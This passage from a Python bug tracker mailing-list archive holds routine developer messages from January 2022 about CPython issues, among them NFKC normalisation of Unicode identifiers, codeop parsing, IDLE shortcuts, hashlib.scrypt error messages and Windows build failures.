11:08:17 2022 From: report at bugs.python.org (David Contreras) Date: Sat, 29 Jan 2022 16:08:17 +0000 Subject: =?utf-8?q?=5Bissue46497=5D_IDLE_macOS_shortcut_ctrl+S_doesn=E2=80=99t_wor?= =?utf-8?q?k_for_show_completions?= In-Reply-To: <1642998793.55.0.428070872665.issue46497@roundup.psfhosted.org> Message-ID: <1643472497.29.0.00783998139854.issue46497@roundup.psfhosted.org> David Contreras added the comment: I disabled the default ^space in macOS settings>Keyboard>Shortcuts>Input Sources>Select the Previous input source (^space) After doing that ^space works on IDLE, nonetheless the menu shows ^S which is not ^space. ---------- Added file: https://bugs.python.org/file50596/IDLE edit menu.jpg _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 29 11:08:45 2022 From: report at bugs.python.org (Andrew Svetlov) Date: Sat, 29 Jan 2022 16:08:45 +0000 Subject: [issue46568] non awaited coroutines on a IsolatedAsyncioTestCase results on a RuntimeWarning In-Reply-To: <1643445957.83.0.70442221241.issue46568@roundup.psfhosted.org> Message-ID: <1643472525.62.0.636967702439.issue46568@roundup.psfhosted.org> Andrew Svetlov added the comment: You are welcome! ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 29 11:25:54 2022 From: report at bugs.python.org (Ethan Furman) Date: Sat, 29 Jan 2022 16:25:54 +0000 Subject: [issue46569] final note on StrEnum documentation incorrectly refers to int.__format__ instead of str.__format__ In-Reply-To: <1643450429.02.0.752906644712.issue46569@roundup.psfhosted.org> Message-ID: <1643473554.7.0.977792237116.issue46569@roundup.psfhosted.org> Ethan Furman added the comment: Good catch, thank you both. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 29 11:53:37 2022 From: report at bugs.python.org (Guido van Rossum) Date: Sat, 29 Jan 2022 16:53:37 +0000 Subject: [issue46571] Strange `@typing.no_type_check` behavior for class variables In-Reply-To: <1643465522.51.0.205719891345.issue46571@roundup.psfhosted.org> Message-ID: <1643475217.25.0.83576890903.issue46571@roundup.psfhosted.org> Guido van Rossum added the comment: @no_type_check (introduced by PEP 484) is intended for static checkers, to signal to them that they shouldn't check the given function or class. I don't think PEP 484 specifies its runtime effect -- arguably get_type_hints() could just ignore it. Or raise an exception when called on such a class. We could even argue that @no_type_check shouldn't have a runtime effect. But before we change anything we should be guided by: 1. What is documented? 2. What does it do now? 3. How is that used by runtime type inspectors? 4. What would be most useful to runtime type inspectors? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 29 12:06:08 2022 From: report at bugs.python.org (Diego Argueta) Date: Sat, 29 Jan 2022 17:06:08 +0000 Subject: [issue46572] Unicode identifiers not necessarily unique Message-ID: <1643475968.35.0.473325174719.issue46572@roundup.psfhosted.org> New submission from Diego Argueta : The way Python 3 handles identifiers containing mathematical characters appears to be broken. I didn't test the entire range of U+1D400 through U+1D59F but I spot-checked them and the bug manifests itself there: Python 3.9.7 (default, Sep 10 2021, 14:59:43) [GCC 11.2.0] on linux Type "help", "copyright", "credits" or "license" for more information. >>> foo = 1234567890 >>> bar = 1234567890 >>> foo is bar False >>> ??? = 1234567890 >>> foo is ??? False >>> bar is ??? True >>> ??? = 0 >>> bar 0 This differs from the behavior with other non-ASCII characters. For example, ASCII 'a' and Cyrillic 'a' are properly treated as different identifiers: >>> ? = 987654321 # Cyrillic lowercase 'a', U+0430 >>> a = 123456789 # ASCII 'a' >>> ? # Cyrillic 987654321 >>> a # ASCII 123456789 While a bit of a pathological case, it is a nasty surprise. It's possible this is a symptom of a larger bug in the way identifiers are resolved. This is similar but not identical to https://bugs.python.org/issue46555 Note: I did not find this myself; I give credit to Cooper Stimson (https://github.com/6C1) for finding this bug. I merely reported it. ---------- components: Parser, Unicode messages: 412084 nosy: da, ezio.melotti, lys.nikolaou, pablogsal, vstinner priority: normal severity: normal status: open title: Unicode identifiers not necessarily unique type: behavior versions: Python 3.7, Python 3.8, Python 3.9 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 29 12:23:26 2022 From: report at bugs.python.org (Christian Heimes) Date: Sat, 29 Jan 2022 17:23:26 +0000 Subject: [issue46570] Windows support for OpenSSL 3.0 In-Reply-To: <1643463311.66.0.905342043937.issue46570@roundup.psfhosted.org> Message-ID: <1643477006.8.0.799771374947.issue46570@roundup.psfhosted.org> Christian Heimes added the comment: OpenSSL 3.0 support is still experimental and incomplete. 3.10 is definitely out of scope. 3.11 might be feasible if somebody puts in the work. ---------- assignee: christian.heimes -> steve.dower _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 29 12:37:09 2022 From: report at bugs.python.org (Pablo Galindo Salgado) Date: Sat, 29 Jan 2022 17:37:09 +0000 Subject: [issue46572] Unicode identifiers not necessarily unique In-Reply-To: <1643475968.35.0.473325174719.issue46572@roundup.psfhosted.org> Message-ID: <1643477829.48.0.618869563575.issue46572@roundup.psfhosted.org> Pablo Galindo Salgado added the comment: This seems coherent with https://www.python.org/dev/peps/pep-3131/ to me. The parser ensures all identifiers are converted into the normal form NFKC while parsing; comparison of identifiers is based on NFKC. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 29 12:41:05 2022 From: report at bugs.python.org (Pablo Galindo Salgado) Date: Sat, 29 Jan 2022 17:41:05 +0000 Subject: [issue46521] codeop._maybe_compile passes code with error + triple quotes In-Reply-To: <1643123376.15.0.69468893853.issue46521@roundup.psfhosted.org> Message-ID: <1643478065.25.0.100546616158.issue46521@roundup.psfhosted.org> Pablo Galindo Salgado added the comment: >> Pablo, is there any possibility that the internal REPL parser could be wrapped, exposed to Python, and called with fake stdin/out/err objects? I would really advise against this. Unfortunately, the state of affairs is that the REPL is somehow super entangled with the parser, to the point that is the tokenizer asking for more characters that triggers a read from stdin. Exposing this with some API would be super dangerous because we would be elevated to the "supported" level anything that works just because it happens to be close to what the interactive mode needs. On the other side, codeop is fundamentally flawed in the way is built because relies on comparing error messages from the parser, which is a very poor way of handling semantic information. What we need here is a mode of the parser that somehow raises a very specific error on incomplete input, but not an incorrect one. And that may be not immediate to implement given in how many places we can raise lexer and parser errors. I will give it a go, in any case ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 29 12:50:14 2022 From: report at bugs.python.org (Pablo Galindo Salgado) Date: Sat, 29 Jan 2022 17:50:14 +0000 Subject: [issue46521] codeop._maybe_compile passes code with error + triple quotes In-Reply-To: <1643123376.15.0.69468893853.issue46521@roundup.psfhosted.org> Message-ID: <1643478614.45.0.276220244686.issue46521@roundup.psfhosted.org> Change by Pablo Galindo Salgado : ---------- keywords: +patch pull_requests: +29189 stage: -> patch review pull_request: https://github.com/python/cpython/pull/31010 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 29 12:56:53 2022 From: report at bugs.python.org (jack1142) Date: Sat, 29 Jan 2022 17:56:53 +0000 Subject: [issue46555] Unicode-mangled names refer inconsistently to constants In-Reply-To: <1643320642.51.0.743138920796.issue46555@roundup.psfhosted.org> Message-ID: <1643479013.07.0.903964827608.issue46555@roundup.psfhosted.org> Change by jack1142 : ---------- nosy: +jack1142 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 29 12:57:37 2022 From: report at bugs.python.org (Pablo Galindo Salgado) Date: Sat, 29 Jan 2022 17:57:37 +0000 Subject: [issue46329] Split up the CALL_NO_KW and CALL_KW instructions. In-Reply-To: <1641819285.76.0.605357810946.issue46329@roundup.psfhosted.org> Message-ID: <1643479057.17.0.73925776388.issue46329@roundup.psfhosted.org> Change by Pablo Galindo Salgado : ---------- pull_requests: +29190 pull_request: https://github.com/python/cpython/pull/31011 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 29 12:58:31 2022 From: report at bugs.python.org (Pablo Galindo Salgado) Date: Sat, 29 Jan 2022 17:58:31 +0000 Subject: [issue46329] Split up the CALL_NO_KW and CALL_KW instructions. In-Reply-To: <1641819285.76.0.605357810946.issue46329@roundup.psfhosted.org> Message-ID: <1643479111.7.0.762851372755.issue46329@roundup.psfhosted.org> Pablo Galindo Salgado added the comment: I'm reverting #30855 for the time being given our buildbot policy. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 29 12:58:49 2022 From: report at bugs.python.org (Pablo Galindo Salgado) Date: Sat, 29 Jan 2022 17:58:49 +0000 Subject: [issue46329] Split up the CALL_NO_KW and CALL_KW instructions. In-Reply-To: <1641819285.76.0.605357810946.issue46329@roundup.psfhosted.org> Message-ID: <1643479129.77.0.822517345708.issue46329@roundup.psfhosted.org> Change by Pablo Galindo Salgado : ---------- Removed message: https://bugs.python.org/msg412088 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 29 12:58:57 2022 From: report at bugs.python.org (Pablo Galindo Salgado) Date: Sat, 29 Jan 2022 17:58:57 +0000 Subject: [issue46329] Split up the CALL_NO_KW and CALL_KW instructions. In-Reply-To: <1641819285.76.0.605357810946.issue46329@roundup.psfhosted.org> Message-ID: <1643479137.68.0.933475804037.issue46329@roundup.psfhosted.org> Pablo Galindo Salgado added the comment: I'm reverting PR30855 for the time being given our buildbot policy. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 29 13:06:22 2022 From: report at bugs.python.org (Kodiologist) Date: Sat, 29 Jan 2022 18:06:22 +0000 Subject: [issue46520] ast.unparse produces bad code for identifiers that become keywords In-Reply-To: <1643123177.1.0.632269925829.issue46520@roundup.psfhosted.org> Message-ID: <1643479582.42.0.359756363373.issue46520@roundup.psfhosted.org> Change by Kodiologist : ---------- keywords: +patch pull_requests: +29191 stage: -> patch review pull_request: https://github.com/python/cpython/pull/31012 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 29 13:12:47 2022 From: report at bugs.python.org (Pablo Galindo Salgado) Date: Sat, 29 Jan 2022 18:12:47 +0000 Subject: [issue46521] codeop._maybe_compile passes code with error + triple quotes In-Reply-To: <1643123376.15.0.69468893853.issue46521@roundup.psfhosted.org> Message-ID: <1643479967.65.0.758666051247.issue46521@roundup.psfhosted.org> Pablo Galindo Salgado added the comment: Ugh, the approach to do that breaks super heavily test_idle :( ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 29 13:16:16 2022 From: report at bugs.python.org (Pablo Galindo Salgado) Date: Sat, 29 Jan 2022 18:16:16 +0000 Subject: [issue46521] codeop._maybe_compile passes code with error + triple quotes In-Reply-To: <1643123376.15.0.69468893853.issue46521@roundup.psfhosted.org> Message-ID: <1643480176.77.0.716964702349.issue46521@roundup.psfhosted.org> Pablo Galindo Salgado added the comment: If we want to go with this approach, I am going to need help to fix test_idle as I have no idea why is failing if test_codeop passes. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 29 13:37:52 2022 From: report at bugs.python.org (Irit Katriel) Date: Sat, 29 Jan 2022 18:37:52 +0000 Subject: [issue27101] Compilation of python (modules) for foreign target platform problem. In-Reply-To: <1464066887.71.0.116030526807.issue27101@psf.upfronthosting.co.za> Message-ID: <1643481472.57.0.133107525776.issue27101@roundup.psfhosted.org> Irit Katriel added the comment: 2.7 and 3.5 are no longer maintained. Please create a new issue if you are still having this problem with a current version (>= 3.9). ---------- nosy: +iritkatriel resolution: -> out of date stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 29 13:48:13 2022 From: report at bugs.python.org (Remy Fouquette) Date: Sat, 29 Jan 2022 18:48:13 +0000 Subject: [issue46573] Python modules such as pyglet or pygame crash Python when tkinter message boxes are opened on MacOS. Message-ID: <1643482093.87.0.31269168021.issue46573@roundup.psfhosted.org> New submission from Remy Fouquette : The same problem doesn't exist on Windows. ---------- components: macOS files: issue.py messages: 412093 nosy: ned.deily, remyrfouquette, ronaldoussoren priority: normal severity: normal status: open title: Python modules such as pyglet or pygame crash Python when tkinter message boxes are opened on MacOS. type: crash versions: Python 3.10 Added file: https://bugs.python.org/file50597/issue.py _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 29 13:50:57 2022 From: report at bugs.python.org (Irit Katriel) Date: Sat, 29 Jan 2022 18:50:57 +0000 Subject: [issue12010] Compile fails when sizeof(wchar_t) == 1 In-Reply-To: <1304628330.77.0.074499731654.issue12010@psf.upfronthosting.co.za> Message-ID: <1643482257.05.0.231774671347.issue12010@roundup.psfhosted.org> Irit Katriel added the comment: Closing after over 10 years of no activity. (The discussion from back then seems to be leaning towards wont fix.) ---------- nosy: +iritkatriel resolution: -> out of date stage: needs patch -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 29 14:14:26 2022 From: report at bugs.python.org (Mital Ashok) Date: Sat, 29 Jan 2022 19:14:26 +0000 Subject: [issue46574] itertools.count should work with non-number types Message-ID: <1643483665.61.0.972027795667.issue46574@roundup.psfhosted.org> New submission from Mital Ashok : There's no reason that `count('', 'a')` for `'', 'a', 'aa', ...` or `count((), (1,))` for `(), (1,), (1, 1), ...` shouldn't work. count(a, b) should be equivalent to accumulate(chain((a,), repeat(b))) The docs don't strongly suggest that it won't work (it says *start* is a number, but the "roughly equivalent to" generator would work for str/tuple/etc) ---------- components: Library (Lib) messages: 412095 nosy: Mital Ashok priority: normal severity: normal status: open title: itertools.count should work with non-number types type: enhancement versions: Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 29 14:21:42 2022 From: report at bugs.python.org (Roundup Robot) Date: Sat, 29 Jan 2022 19:21:42 +0000 Subject: [issue46574] itertools.count should work with non-number types In-Reply-To: <1643483665.61.0.972027795667.issue46574@roundup.psfhosted.org> Message-ID: <1643484102.59.0.528088191139.issue46574@roundup.psfhosted.org> Change by Roundup Robot : ---------- keywords: +patch nosy: +python-dev nosy_count: 1.0 -> 2.0 pull_requests: +29192 stage: -> patch review pull_request: https://github.com/python/cpython/pull/31013 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 29 14:24:56 2022 From: report at bugs.python.org (Eryk Sun) Date: Sat, 29 Jan 2022 19:24:56 +0000 Subject: [issue46572] Unicode identifiers not necessarily unique In-Reply-To: <1643475968.35.0.473325174719.issue46572@roundup.psfhosted.org> Message-ID: <1643484296.82.0.724717363912.issue46572@roundup.psfhosted.org> Eryk Sun added the comment: Please read "Identifiers and keywords" [1] in the documentation. For example: >>> import unicodedata as ud >>> ud.normalize('NFKC', '???') == 'bar' True >>> c = '\N{CYRILLIC SMALL LETTER A}' >>> ud.name(ud.normalize('NFKC', c)) 'CYRILLIC SMALL LETTER A' --- [1] https://docs.python.org/3/reference/lexical_analysis.html?highlight=nfkc#identifiers ---------- nosy: +eryksun resolution: -> not a bug stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 29 14:29:27 2022 From: report at bugs.python.org (Irit Katriel) Date: Sat, 29 Jan 2022 19:29:27 +0000 Subject: [issue44031] test_embed and test_tabnanny fails if the current directory is non-ASCII In-Reply-To: <1620129028.97.0.901022211038.issue44031@roundup.psfhosted.org> Message-ID: <1643484567.05.0.872510390022.issue44031@roundup.psfhosted.org> Change by Irit Katriel : ---------- keywords: +patch nosy: +iritkatriel nosy_count: 4.0 -> 5.0 pull_requests: +29193 stage: -> patch review pull_request: https://github.com/python/cpython/pull/31014 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 29 14:31:09 2022 From: report at bugs.python.org (Irit Katriel) Date: Sat, 29 Jan 2022 19:31:09 +0000 Subject: [issue44031] test_embed and test_tabnanny fails if the current directory is non-ASCII In-Reply-To: <1620129028.97.0.901022211038.issue44031@roundup.psfhosted.org> Message-ID: <1643484669.08.0.0229626276994.issue44031@roundup.psfhosted.org> Change by Irit Katriel : ---------- type: compile error -> behavior versions: +Python 3.10, Python 3.11 -Python 3.8 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 29 14:33:42 2022 From: report at bugs.python.org (Irit Katriel) Date: Sat, 29 Jan 2022 19:33:42 +0000 Subject: [issue44031] test_embed and test_tabnanny fails if the current directory is non-ASCII In-Reply-To: <1620129028.97.0.901022211038.issue44031@roundup.psfhosted.org> Message-ID: <1643484822.71.0.9909654231.issue44031@roundup.psfhosted.org> Irit Katriel added the comment: test_embed does not fail anymore. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 29 14:37:49 2022 From: report at bugs.python.org (Irit Katriel) Date: Sat, 29 Jan 2022 19:37:49 +0000 Subject: [issue39711] SIGBUS and core dumped during tests of 3.8.1 In-Reply-To: <1582301512.94.0.0314211324749.issue39711@roundup.psfhosted.org> Message-ID: <1643485069.43.0.0721315351352.issue39711@roundup.psfhosted.org> Irit Katriel added the comment: Looks like you ran out of disk space: OSError: [Errno 12] Not enough space In any case, 3.8 is no longer maintained, so I am closing this as out of date. Please create a new issue if you are having problems with a current version (>= 3.9). ---------- nosy: +iritkatriel resolution: -> out of date stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 29 14:41:06 2022 From: report at bugs.python.org (Barney Gale) Date: Sat, 29 Jan 2022 19:41:06 +0000 Subject: [issue29688] Add support for Path.absolute() In-Reply-To: <1488389848.79.0.700814097868.issue29688@psf.upfronthosting.co.za> Message-ID: <1643485266.1.0.00216667568269.issue29688@roundup.psfhosted.org> Barney Gale added the comment: Now that GH 26153 is merged, I think this bug can be resolved. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 29 14:44:07 2022 From: report at bugs.python.org (Irit Katriel) Date: Sat, 29 Jan 2022 19:44:07 +0000 Subject: [issue40174] HAVE_CLOCK_GETTIME not repected in pytime.c In-Reply-To: <1585927809.98.0.29079570836.issue40174@roundup.psfhosted.org> Message-ID: <1643485447.35.0.65880631831.issue40174@roundup.psfhosted.org> Irit Katriel added the comment: > For my information, is there a kind of committee or someone taking these kinds of decisions or at least expressing rules as to the spirit in which they should be made? You can bring this up on the python-ideas mailing list if you want to pull in additional core developers into the discussion. ---------- nosy: +iritkatriel _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 29 14:57:11 2022 From: report at bugs.python.org (Irit Katriel) Date: Sat, 29 Jan 2022 19:57:11 +0000 Subject: [issue39339] ProcessPoolExecutor() Exception in thread QueueManagerThread In-Reply-To: <1579076657.65.0.185497149152.issue39339@roundup.psfhosted.org> Message-ID: <1643486231.81.0.0353315144003.issue39339@roundup.psfhosted.org> Change by Irit Katriel : ---------- resolution: -> duplicate stage: -> resolved status: open -> closed superseder: -> ProcessPoolExecutor(max_workers=64) crashes on Windows _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 29 15:02:00 2022 From: report at bugs.python.org (Irit Katriel) Date: Sat, 29 Jan 2022 20:02:00 +0000 Subject: [issue38682] struct timeval is not declared In-Reply-To: <1572860172.48.0.713229733746.issue38682@roundup.psfhosted.org> Message-ID: <1643486520.68.0.770449850354.issue38682@roundup.psfhosted.org> Irit Katriel added the comment: timval is defined in sys/time.h. This would be something to do with your setup, but you did not provide any information about your system and the steps you took to get to this point so it's hard to know what happened. In any case, 3.7 is no longer maintained so I am closing this. Please create a new issue, with more information, if you are seeing this problem on a current version (>= 3.9). ---------- nosy: +iritkatriel resolution: -> out of date stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 29 15:10:47 2022 From: report at bugs.python.org (Eryk Sun) Date: Sat, 29 Jan 2022 20:10:47 +0000 Subject: [issue29688] Add support for Path.absolute() In-Reply-To: <1488389848.79.0.700814097868.issue29688@psf.upfronthosting.co.za> Message-ID: <1643487047.55.0.288001145372.issue29688@roundup.psfhosted.org> Eryk Sun added the comment: In Windows, paths that are relative to the current directory on a drive aren't resolved. The following should be resolved by the current code: >>> os.chdir('C:/Temp') >>> pathlib.Path('C:').absolute() WindowsPath('C:') But _from_parts() has bugs with drive-relative paths. Assuming the bugs are fixed, when a path has a drive, Path.absolute() should resolve against abspath(self.drive) instead of getcwd(). ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 29 15:26:03 2022 From: report at bugs.python.org (Ron Kaminsky) Date: Sat, 29 Jan 2022 20:26:03 +0000 Subject: [issue46575] One-off errors in hashlib.scrypt error messages Message-ID: <1643487963.78.0.553552664771.issue46575@roundup.psfhosted.org> New submission from Ron Kaminsky : There are one-off errors in upper bounds given in the error messages for hashlib.scrypt(...). MAX_INT *is* accepted (and at least for maxmem, works). See https://github.com/python/cpython/blob/8fb36494501aad5b0c1d34311c9743c60bb9926c/Modules/_hashopenssl.c#L1375 and https://github.com/python/cpython/blob/8fb36494501aad5b0c1d34311c9743c60bb9926c/Modules/_hashopenssl.c#L1382 With thanks to everyone involved for all the fine work on Python! ---------- messages: 412103 nosy: ron_kaminsky priority: normal severity: normal status: open title: One-off errors in hashlib.scrypt error messages type: behavior _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 29 15:31:42 2022 From: report at bugs.python.org (Gregory P. Smith) Date: Sat, 29 Jan 2022 20:31:42 +0000 Subject: [issue46576] test_peg_generator is extremely slow Message-ID: <1643488302.33.0.475443222477.issue46576@roundup.psfhosted.org> New submission from Gregory P. Smith : test_peg_generator is an extremely slow test. This bug tracks any changes to reduce its runtime and test latency. ---------- components: Tests messages: 412104 nosy: gregory.p.smith priority: normal severity: normal status: open title: test_peg_generator is extremely slow versions: Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 29 15:39:54 2022 From: report at bugs.python.org (Yair Frid) Date: Sat, 29 Jan 2022 20:39:54 +0000 Subject: [issue46548] macOS installers cannot be signed on Monterey In-Reply-To: <1643284375.14.0.614518279625.issue46548@roundup.psfhosted.org> Message-ID: <1643488794.6.0.0959389317185.issue46548@roundup.psfhosted.org> Yair Frid added the comment: Apple builds python on their own, so probably you wont have any luck finding the build scripts ---------- nosy: +Fongeme _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 29 15:40:21 2022 From: report at bugs.python.org (Gregory P. Smith) Date: Sat, 29 Jan 2022 20:40:21 +0000 Subject: [issue46576] test_peg_generator is extremely slow In-Reply-To: <1643488302.33.0.475443222477.issue46576@roundup.psfhosted.org> Message-ID: <1643488821.44.0.717786443091.issue46576@roundup.psfhosted.org> Change by Gregory P. Smith : ---------- keywords: +patch pull_requests: +29194 stage: -> patch review pull_request: https://github.com/python/cpython/pull/31015 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 29 16:47:08 2022 From: report at bugs.python.org (Ned Deily) Date: Sat, 29 Jan 2022 21:47:08 +0000 Subject: [issue46548] macOS installers cannot be signed on Monterey In-Reply-To: <1643284375.14.0.614518279625.issue46548@roundup.psfhosted.org> Message-ID: <1643492828.01.0.034577136128.issue46548@roundup.psfhosted.org> Ned Deily added the comment: The short answer to the original issue: at the moment, build-installer.py continues to create python.org installers in the legacy bundle installer format that is no longer supported by more modern versions of macOS and there are additional steps that are used to convert the artifacts produced by build-installer.py into a modern flat-package (.pkg) format installer. Those steps are outlined in Mac/BuildScript/README.rst but the exact commands are not provided there. The longer answer is that we have long provided macOS installers that are designed to work on a very wide range of macOS versions and Mac hardware. Up until very recently, the production of an installer required multiple steps on different versions of macOS to be able to meet those requirements, i.e. the build of Python itself had to run on an older system (macOS 10.9) but the flat package and signing has to run on a more recent system to be able to be notarized by Apple. And that manufacturing has evolved over many years as Apple has attempted to enhance macOS security while minimizing the impact on end users (e.g. Gatekeeper, code signing, notarization). As of fairly recently (Python 3.10.1 et al) with the addition to Python of full "weaklinking" support on macOS (along with Apple Silicon and Big Sur support), it is now possible to build on a current system while supporting older systems as well as we now do in the new universal2 installer variant. Since we are still providing the legacy 10.9 Intel-only installer variant for 3.9.x releases, there hasn't been an urgent need to modify the overall manufacturing process yet, but I do plan to do so and document prior to the upcoming 3.11 feature code cutoff (in part to better support Apple Silicon Macs). ---------- assignee: -> ned.deily _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 29 17:32:31 2022 From: report at bugs.python.org (ntrischi) Date: Sat, 29 Jan 2022 22:32:31 +0000 Subject: [issue45220] Windows builds sometimes fail on Azure and GitHub Action: fatal error RC1116: RC terminating after preprocessor errors In-Reply-To: <1631803516.52.0.769978805951.issue45220@roundup.psfhosted.org> Message-ID: <1643495551.66.0.727077693358.issue45220@roundup.psfhosted.org> ntrischi added the comment: Compiling Python3.8.9 from source on Windows 10 with VS2019. Running PCBuild\build.bat, I'm getting the following issue: C:\Program Files (x86)\Windows Kits\10\Include\10.0.22000.0\um\winnt.h(253): error RC2188: C:\Python-3.8.9\PCbuild\obj\38amd64_Release\pythoncore\RCa09752(53) : fatal error RC1116: RC terminating after preprocessor errors [C:\Python-3.8.9\PCbuild\pythoncore.vcxproj] I noticed this issue is closed but it doesn't seem to be resolved. ---------- nosy: +ntrischi versions: +Python 3.8 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 29 17:36:18 2022 From: report at bugs.python.org (Serhiy Storchaka) Date: Sat, 29 Jan 2022 22:36:18 +0000 Subject: [issue41416] Restore default implementation of __ne__ in mixins Set and Mapping In-Reply-To: <1595918093.33.0.049225231479.issue41416@roundup.psfhosted.org> Message-ID: <1643495778.89.0.622992147325.issue41416@roundup.psfhosted.org> Change by Serhiy Storchaka : ---------- pull_requests: +29195 pull_request: https://github.com/python/cpython/pull/21628 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 29 17:39:14 2022 From: report at bugs.python.org (=?utf-8?b?VmVkcmFuIMSMYcSNacSH?=) Date: Sat, 29 Jan 2022 22:39:14 +0000 Subject: [issue46574] itertools.count should work with non-number types In-Reply-To: <1643483665.61.0.972027795667.issue46574@roundup.psfhosted.org> Message-ID: <1643495954.75.0.582155401326.issue46574@roundup.psfhosted.org> Vedran ?a?i? added the comment: At one moment, I had a need for itertools.count(datetime.date.today(), datetime.timedelta(days=1)) Of course, it was no problem to write it myself, but still, it would be incredibly neat if it simply worked. ---------- nosy: +veky _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 29 18:27:45 2022 From: report at bugs.python.org (Irit Katriel) Date: Sat, 29 Jan 2022 23:27:45 +0000 Subject: [issue29172] blake2: Use lowest-common denominator signature of #pragma pack In-Reply-To: <1483656918.9.0.359858354352.issue29172@psf.upfronthosting.co.za> Message-ID: <1643498865.6.0.97202286487.issue29172@roundup.psfhosted.org> Change by Irit Katriel : ---------- resolution: -> duplicate stage: -> resolved status: open -> closed superseder: -> BETA report: Python-3.6 build messages to stderr: AIX and "not GCC" _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 29 18:51:42 2022 From: report at bugs.python.org (Irit Katriel) Date: Sat, 29 Jan 2022 23:51:42 +0000 Subject: [issue43361] Dead assignment in idna_converter function In-Reply-To: <1614652149.62.0.682850581937.issue43361@roundup.psfhosted.org> Message-ID: <1643500302.24.0.175881996754.issue43361@roundup.psfhosted.org> Irit Katriel added the comment: I don't think removing this will make the code easier to read. It's an exercise to verify that all the different if-else branches set this variable. ---------- nosy: +iritkatriel _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 29 18:55:40 2022 From: report at bugs.python.org (Irit Katriel) Date: Sat, 29 Jan 2022 23:55:40 +0000 Subject: [issue43359] Dead assignment in Py_UniversalNewlineFgets In-Reply-To: <1614651387.39.0.0295195640102.issue43359@roundup.psfhosted.org> Message-ID: <1643500540.98.0.736973517579.issue43359@roundup.psfhosted.org> Irit Katriel added the comment: That function has been edited in the meantime and this line is no longer there. ---------- nosy: +iritkatriel resolution: -> out of date stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 29 19:06:56 2022 From: report at bugs.python.org (Diego Argueta) Date: Sun, 30 Jan 2022 00:06:56 +0000 Subject: [issue46572] Unicode identifiers not necessarily unique In-Reply-To: <1643475968.35.0.473325174719.issue46572@roundup.psfhosted.org> Message-ID: <1643501216.14.0.817920568091.issue46572@roundup.psfhosted.org> Diego Argueta added the comment: I did read PEP-3131 before posting this but I still thought the behavior was counterintuitive. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 29 19:09:22 2022 From: report at bugs.python.org (Irit Katriel) Date: Sun, 30 Jan 2022 00:09:22 +0000 Subject: [issue30210] No Documentation on tkinter dnd module In-Reply-To: <1493491562.01.0.41832322565.issue30210@psf.upfronthosting.co.za> Message-ID: <1643501362.35.0.175519194402.issue30210@roundup.psfhosted.org> Irit Katriel added the comment: Doc was added under issue25237: https://docs.python.org/3/library/tkinter.dnd.html ---------- nosy: +iritkatriel resolution: -> duplicate stage: needs patch -> resolved status: open -> closed superseder: -> Add doc for tkinter commondialog.Dialog and subclasses _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 29 19:10:41 2022 From: report at bugs.python.org (Terry J. Reedy) Date: Sun, 30 Jan 2022 00:10:41 +0000 Subject: [issue46521] codeop._maybe_compile passes code with error + triple quotes In-Reply-To: <1643123376.15.0.69468893853.issue46521@roundup.psfhosted.org> Message-ID: <1643501441.71.0.475544702568.issue46521@roundup.psfhosted.org> Terry J. Reedy added the comment: Thank you for the PR. As I wrote on my preliminary review, I see this likely 1 failure that might may be in the test fixture. Will test and debug later. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 29 19:23:04 2022 From: report at bugs.python.org (Irit Katriel) Date: Sun, 30 Jan 2022 00:23:04 +0000 Subject: [issue44264] Add descriptive error message when environment variable not detected In-Reply-To: <1622315631.82.0.174699823262.issue44264@roundup.psfhosted.org> 